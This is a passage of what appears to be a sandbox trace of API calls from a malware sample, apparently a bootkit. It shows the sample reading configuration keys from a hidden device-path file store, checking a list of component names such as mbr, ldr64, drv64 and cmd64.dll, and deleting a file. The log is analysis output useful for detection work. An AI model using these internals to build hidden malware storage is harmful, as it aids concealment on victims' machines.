_MaxCount=0x10) returned 0 [0119.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.910] KeLeaveCriticalRegion () [0119.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.910] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.910] KeEnterCriticalRegion () [0119.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0f000 [0119.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.910] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.910] IdePortDispatch () returned 0x103 [0119.910] KeWaitForMutexObject () returned 0x0 [0119.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.911] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.911] IdePortDispatch () returned 0x103 [0119.911] KeWaitForMutexObject () returned 0x0 [0119.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.911] KeLeaveCriticalRegion () [0119.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.911] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.912] KeEnterCriticalRegion () [0119.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.912] KeLeaveCriticalRegion () [0119.912] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.912] KeEnterCriticalRegion () [0119.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.912] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.912] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.912] KeLeaveCriticalRegion () [0119.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.912] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.912] KeEnterCriticalRegion () [0119.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.912] ExFreePoolWithTag (P=0xfffffa8003b28cb0, Tag=0x0) [0119.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.912] KeLeaveCriticalRegion () [0119.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.912] ReleaseMutex (hMutex=0xf0) returned 1 [0119.912] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.912] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.912] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.912] KeEnterCriticalRegion () [0119.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.912] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.912] IdePortDispatch () returned 0x103 [0119.912] KeWaitForMutexObject () returned 0x0 [0119.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.912] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.912] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.912] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.912] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.912] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc92d0 [0119.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.913] KeLeaveCriticalRegion () [0119.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.913] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.913] KeEnterCriticalRegion () [0119.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.913] KeLeaveCriticalRegion () [0119.913] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.913] KeEnterCriticalRegion () [0119.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.913] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.913] IdePortDispatch () returned 0x103 [0119.913] KeWaitForMutexObject () returned 0x0 [0119.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.913] KeLeaveCriticalRegion () [0119.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.913] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.913] KeEnterCriticalRegion () [0119.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b10000 [0119.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.913] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.913] IdePortDispatch () returned 0x103 [0119.913] KeWaitForMutexObject () returned 0x0 [0119.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.914] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.914] IdePortDispatch () returned 0x103 [0119.914] KeWaitForMutexObject () returned 0x0 [0119.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.914] KeLeaveCriticalRegion () [0119.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.914] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.914] KeEnterCriticalRegion () [0119.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.914] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.914] KeLeaveCriticalRegion () [0119.914] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.914] KeEnterCriticalRegion () [0119.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.915] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.915] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc4f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.915] KeLeaveCriticalRegion () [0119.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.915] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.915] KeEnterCriticalRegion () [0119.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.915] ExFreePoolWithTag (P=0xfffffa8003bc92d0, Tag=0x0) [0119.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.915] KeLeaveCriticalRegion () [0119.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.915] ReleaseMutex (hMutex=0xf0) returned 1 [0119.915] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.915] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.915] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.915] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.915] KeEnterCriticalRegion () [0119.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.915] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.915] IdePortDispatch () returned 0x103 [0119.915] KeWaitForMutexObject () returned 0x0 [0119.915] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.915] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.915] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.915] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.915] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.915] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.915] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.915] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.915] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.915] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.915] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.915] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.916] KeLeaveCriticalRegion () [0119.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.916] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.916] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.916] KeEnterCriticalRegion () [0119.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.916] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.916] IdePortDispatch () returned 0x103 [0119.916] KeWaitForMutexObject () returned 0x0 [0119.916] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.916] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.916] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.916] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.916] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.916] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.916] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.916] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.916] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.916] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.916] KeLeaveCriticalRegion () [0119.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.916] ReleaseMutex (hMutex=0x100) returned 1 [0119.916] Sleep (dwMilliseconds=0x2bf20) [0119.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aac0170, dwHighDateTime=0x1d24fa4)) [0119.923] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.923] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.923] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.923] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.923] KeEnterCriticalRegion () [0119.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.923] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.923] IdePortDispatch () returned 0x103 [0119.923] KeWaitForMutexObject () returned 0x0 [0119.923] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.923] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.923] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.923] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.923] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.923] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce140 [0119.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.923] KeLeaveCriticalRegion () [0119.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.924] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.924] KeEnterCriticalRegion () [0119.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.924] KeLeaveCriticalRegion () [0119.924] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.924] KeEnterCriticalRegion () [0119.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.924] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.924] IdePortDispatch () returned 0x103 [0119.924] KeWaitForMutexObject () returned 0x0 [0119.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.924] KeLeaveCriticalRegion () [0119.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.924] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.924] KeEnterCriticalRegion () [0119.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.924] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b13000 [0119.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.924] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.925] IdePortDispatch () returned 0x103 [0119.925] KeWaitForMutexObject () returned 0x0 [0119.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.925] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.925] IdePortDispatch () returned 0x103 [0119.925] KeWaitForMutexObject () returned 0x0 [0119.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.925] KeLeaveCriticalRegion () [0119.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.926] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.926] KeEnterCriticalRegion () [0119.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.926] KeLeaveCriticalRegion () [0119.926] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.926] KeEnterCriticalRegion () [0119.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.926] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.926] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc4f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.926] KeLeaveCriticalRegion () [0119.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.926] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.926] KeEnterCriticalRegion () [0119.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.926] ExFreePoolWithTag (P=0xfffffa8003bce140, Tag=0x0) [0119.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.926] KeLeaveCriticalRegion () [0119.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.926] ReleaseMutex (hMutex=0xf0) returned 1 [0119.926] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.926] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.926] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.926] KeEnterCriticalRegion () [0119.926] 